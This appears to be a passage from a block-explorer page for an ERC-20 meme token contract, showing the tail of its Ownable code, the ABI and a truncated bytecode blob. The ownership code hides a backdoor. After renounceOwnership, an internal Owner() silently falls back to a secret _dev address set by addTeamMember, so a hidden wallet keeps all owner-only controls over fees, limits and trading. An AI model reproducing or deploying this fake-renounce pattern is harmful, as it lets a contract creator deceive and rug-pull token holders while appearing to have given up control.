        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _dev = account;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"marketingTaxAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapExecute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSWapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f5860105560016012556001601360006101000a81548160ff02191690831515021790555065013ca65120006014556001601660006101000a81548160ff0219169083151502179055506001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff0219169083151502179055506001602460006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b5060405162006ad938038062006ad98339818101604052810190620000e3919062000be2565b6040518060400160405280600881526020017f5472756d504550450000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f5472756d504550450000000000000000000000000000000000000000000000008152508280600062000163620005d160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505082600690805190602001906200025b92919062000ac8565b5081600790805190602001906200027492919062000ac8565b506005546004819055505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002ad816001620005d960201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000355919062000be2565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600080600080600069010f0cf064dd5920000090508660198190555085601a8190555084601b81905550601b54601a54601954620003d7919062000c4d565b620003e3919062000c4d565b60188190555083601d8190555082601e8190555081601f81905550601f54601e54601d5462000413919062000c4d565b6200041f919062000c4d565b601c819055506107d0600a8262000437919062000caa565b62000443919062000d3a565b600d8190555069152d02c7e14af6800000600c81905550693f870857a3e0e3800000600b819055506200047b6200064460201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004cb6200064460201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200052d6200051f6200064460201b60201c565b60016200066d60201b60201c565b620005403060016200066d60201b60201c565b6200055561dead60016200066d60201b60201c565b62000577620005696200064460201b60201c565b6001620005d960201b60201c565b6200058a306001620005d960201b60201c565b6200059f61dead6001620005d960201b60201c565b620005b133826200072860201b60201c565b620005c1620008d960201b60201c565b5050505050505050505062000fa6565b600033905090565b620005e96200090d60201b60201c565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200067d6200090d60201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200071c919062000d8f565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200079b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007929062000e0d565b60405180910390fd5b620007af600083836200099e60201b60201c565b620007cb81600854620009a360201b620028231790919060201c565b6008819055506200082a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620009a360201b620028231790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008cd919062000e40565b60405180910390a35050565b6000620008eb6200090d60201b60201c565b6000601660006101000a81548160ff0219169083151502179055506001905090565b6200091d620005d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200094362000a0660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009939062000ead565b60405180910390fd5b565b505050565b6000808284620009b4919062000c4d565b905083811015620009fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009f39062000f1f565b60405180910390fd5b8091505092915050565b60008062000a1962000a2260201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a9f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000ac3565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000ad69062000f70565b90600052602060002090601f01602090048101928262000afa576000855562000b46565b82601f1062000b1557805160ff191683800117855562000b46565b8280016001018555821562000b46579182015b8281111562000b4557825182559160200191906001019062000b28565b5b50905062000b55919062000b59565b5090565b5b8082111562000b7457600081600090555060010162000b5a565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000baa8262000b7d565b9050919050565b62000bbc8162000b9d565b811462000bc857600080fd5b50565b60008151905062000bdc8162000bb1565b92915050565b60006020828403121562000bfb5762000bfa62000b78565b5b600062000c0b8482850162000bcb565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c5a8262000c14565b915062000c678362000c14565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c9f5762000c9e62000c1e565b5b828201905092915050565b600062000cb78262000c14565b915062000cc48362000c14565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d005762000cff62000c1e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d478262000c14565b915062000d548362000c14565b92508262000d675762000d6662000d0b565b5b828204905092915050565b60008115159050919050565b62000d898162000d72565b82525050565b600060208201905062000da6600083018462000d7e565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000df5601f8362000dac565b915062000e028262000dbd565b602082019050919050565b6000602082019050818103600083015262000e288162000de6565b9050919050565b62000e3a8162000c14565b82525050565b600060208201905062000e57600083018462000e2f565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000e9560208362000dac565b915062000ea28262000e5d565b602082019050919050565b6000602082019050818103600083015262000ec88162000e86565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000f07601b8362000dac565b915062000f148262000ecf565b602082019050919050565b6000602082019050818103600083015262000f3a8162000ef8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f8957607f821691505b6020821081141562000fa05762000f9f62000f41565b5b50919050565b608051615af462000fe56000396000818161119d0152818161146001528181612e3201528181613fd6015281816140b701526140de0152615af46000f3fe6080604052600436106104095760003560e01c80638bdb2afa11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610f8e578063f2fde38b14610fb9578063f637434214610fe2578063f8b45b051461100d578063fe72b27a1461103857610410565b8063d85ba06314610ed0578063dd62ed3e14610efb578063e2f4560514610f38578063e884f26014610f6357610410565b8063c18bc195116100f2578063c18bc19514610deb578063c2b7bbb614610e14578063c876d0b914610e3d578063c8c8ebe414610e68578063d257b34f14610e9357610410565b8063bbbb3ffc14610d45578063bbc0c74214610d6e578063c024666814610d99578063c17b5b8c14610dc257610410565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c3a578063a4c82a0014610c77578063a9059cbb14610ca2578063aacebbe314610cdf578063b62496f514610d0857610410565b80639ec22c0e14610b905780639fccce3214610bbb578063a0d82dc514610be6578063a165506f14610c1157610410565b8063924de9b7116101e2578063924de9b714610ae857806395d89b4114610b115780639c3b4fdc14610b3c5780639dc29fac14610b6757610410565b80638bdb2afa14610a3c5780638da5cb5b14610a675780638ea5220f14610a925780639213691314610abd57610410565b8063313ce5671161031957806370a08231116102a15780637571336a116102705780637571336a1461097d57806375f0a874146109a65780637bce5a04146109d15780638095d564146109fc5780638a8c523c14610a2557610410565b806370a08231146108d5578063715018a614610912578063730c188814610929578063751039fc1461095257610410565b80633eb2b5ad116102e85780633eb2b5ad1461080257806349bd5a5e1461082b57806350465686146108565780636a486a8e1461087f5780636ddd1713146108aa57610410565b8063313ce56714610732578063333f52e01461075d5780633582ad231461079a57806339509351146107c557610410565b8063199ffc721161039c57806323b872dd1161036b57806323b872dd1461064b57806326ededb81461068857806327c8f835146106b15780632c3e486c146106dc5780632e82f1a01461070757610410565b8063199ffc72146105a15780631a8145bb146105cc5780631f3fed8f146105f7578063203e727e1461062257610410565b80631694505e116103d85780631694505e146104f757806318160ddd146105225780631816467f1461054d578063184c16c51461057657610410565b80630468ede01461041557806306fdde0314610452578063095ea7b31461047d57806310d5de53146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061043c60048036038101906104379190614233565b611075565b604051610449919061427b565b60405180910390f35b34801561045e57600080fd5b506104676110cb565b604051610474919061432f565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190614387565b61115d565b6040516104b1919061427b565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190614233565b61117b565b6040516104ee919061427b565b60405180910390f35b34801561050357600080fd5b5061050c61119b565b6040516105199190614426565b60405180910390f35b34801561052e57600080fd5b506105376111bf565b6040516105449190614450565b60405180910390f35b34801561055957600080fd5b50610574600480360381019061056f9190614233565b6111c9565b005b34801561058257600080fd5b5061058b611291565b6040516105989190614450565b60405180910390f35b3480156105ad57600080fd5b506105b6611297565b6040516105c39190614450565b60405180910390f35b3480156105d857600080fd5b506105e161129d565b6040516105ee9190614450565b60405180910390f35b34801561060357600080fd5b5061060c6112a3565b6040516106199190614450565b60405180910390f35b34801561062e57600080fd5b506106496004803603810190610644919061446b565b6112a9565b005b34801561065757600080fd5b50610672600480360381019061066d9190614498565b61133c565b60405161067f919061427b565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190614550565b611415565b005b3480156106bd57600080fd5b506106c6611601565b6040516106d391906145bf565b60405180910390f35b3480156106e857600080fd5b506106f1611607565b6040516106fe9190614450565b60405180910390f35b34801561071357600080fd5b5061071c61160d565b604051610729919061427b565b60405180910390f35b34801561073e57600080fd5b50610747611620565b60405161075491906145f6565b60405180910390f35b34801561076957600080fd5b50610784600480360381019061077f9190614233565b611629565b604051610791919061427b565b60405180910390f35b3480156107a657600080fd5b506107af61167f565b6040516107bc919061427b565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e79190614387565b611692565b6040516107f9919061427b565b60405180910390f35b34801561080e57600080fd5b5061082960048036038101906108249190614233565b611745565b005b34801561083757600080fd5b50610840611791565b60405161084d91906145bf565b60405180910390f35b34801561086257600080fd5b5061087d6004803603810190610878919061463d565b6117b7565b005b34801561088b57600080fd5b50610894611864565b6040516108a19190614450565b60405180910390f35b3480156108b657600080fd5b506108bf61186a565b6040516108cc919061427b565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f79190614233565b61187d565b6040516109099190614450565b60405180910390f35b34801561091e57600080fd5b506109276118c6565b005b34801561093557600080fd5b50610950600480360381019061094b919061469d565b61198c565b005b34801561095e57600080fd5b50610967611a58565b604051610974919061427b565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f91906146f0565b611a84565b005b3480156109b257600080fd5b506109bb611ae7565b6040516109c891906145bf565b60405180910390f35b3480156109dd57600080fd5b506109e6611b0d565b6040516109f39190614450565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614730565b611b13565b005b348015610a3157600080fd5b50610a3a611b9e565b005b348015610a4857600080fd5b50610a51611be5565b604051610a5e91906147a4565b60405180910390f35b348015610a7357600080fd5b50610a7c611c0b565b604051610a8991906145bf565b60405180910390f35b348015610a9e57600080fd5b50610aa7611c34565b604051610ab491906145bf565b60405180910390f35b348015610ac957600080fd5b50610ad2611c5a565b604051610adf9190614450565b60405180910390f35b348015610af457600080fd5b50610b0f6004803603810190610b0a91906147bf565b611c60565b005b348015610b1d57600080fd5b50610b26611c85565b604051610b33919061432f565b60405180910390f35b348015610b4857600080fd5b50610b51611d17565b604051610b5e9190614450565b60405180910390f35b348015610b7357600080fd5b50610b8e6004803603810190610b899190614387565b611d1d565b005b348015610b9c57600080fd5b50610ba5611d33565b604051610bb29190614450565b60405180910390f35b348015610bc757600080fd5b50610bd0611d39565b604051610bdd9190614450565b60405180910390f35b348015610bf257600080fd5b50610bfb611d3f565b604051610c089190614450565b60405180910390f35b348015610c1d57600080fd5b50610c386004803603810190610c3391906147ec565b611d45565b005b348015610c4657600080fd5b50610c616004803603810190610c5c9190614387565b611d5b565b604051610c6e919061427b565b60405180910390f35b348015610c8357600080fd5b50610c8c611e28565b604051610c999190614450565b60405180910390f35b348015610cae57600080fd5b50610cc96004803603810190610cc49190614387565b611e2e565b604051610cd6919061427b565b60405180910390f35b348015610ceb57600080fd5b50610d066004803603810190610d019190614233565b611e4c565b005b348015610d1457600080fd5b50610d2f6004803603810190610d2a9190614233565b611f14565b604051610d3c91906145bf565b60405180910390f35b348015610d5157600080fd5b50610d6c6004803603810190610d6791906147ec565b611f47565b005b348015610d7a57600080fd5b50610d8361202b565b604051610d90919061427b565b60405180910390f35b348015610da557600080fd5b50610dc06004803603810190610dbb91906146f0565b61203e565b005b348015610dce57600080fd5b50610de96004803603810190610de49190614730565b6120ef565b005b348015610df757600080fd5b50610e126004803603810190610e0d919061446b565b61217a565b005b348015610e2057600080fd5b50610e3b6004803603810190610e369190614233565b61220d565b005b348015610e4957600080fd5b50610e52612286565b604051610e5f919061427b565b60405180910390f35b348015610e7457600080fd5b50610e7d612299565b604051610e8a9190614450565b60405180910390f35b348015610e9f57600080fd5b50610eba6004803603810190610eb5919061446b565b61229f565b604051610ec7919061427b565b60405180910390f35b348015610edc57600080fd5b50610ee5612380565b604051610ef29190614450565b60405180910390f35b348015610f0757600080fd5b50610f226004803603810190610f1d91906147ec565b612386565b604051610f2f9190614450565b60405180910390f35b348015610f4457600080fd5b50610f4d61240d565b604051610f5a9190614450565b60405180910390f35b348015610f6f57600080fd5b50610f78612413565b604051610f85919061427b565b60405180910390f35b348015610f9a57600080fd5b50610fa361243f565b604051610fb09190614450565b60405180910390f35b348015610fc557600080fd5b50610fe06004803603810190610fdb9190614233565b612445565b005b348015610fee57600080fd5b50610ff761257a565b6040516110049190614450565b60405180910390f35b34801561101957600080fd5b50611022612580565b60405161102f9190614450565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a919061446b565b612586565b60405161106c919061427b565b60405180910390f35b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600680546110da9061485b565b80601f01602080910402602001604051908101604052809291908181526020018280546111069061485b565b80156111535780601f1061112857610100808354040283529160200191611153565b820191906000526020600020905b81548152906001019060200180831161113657829003601f168201915b5050505050905090565b600061117161116a612881565b8484612889565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b6111d1612a54565b600e60009054906101000a9004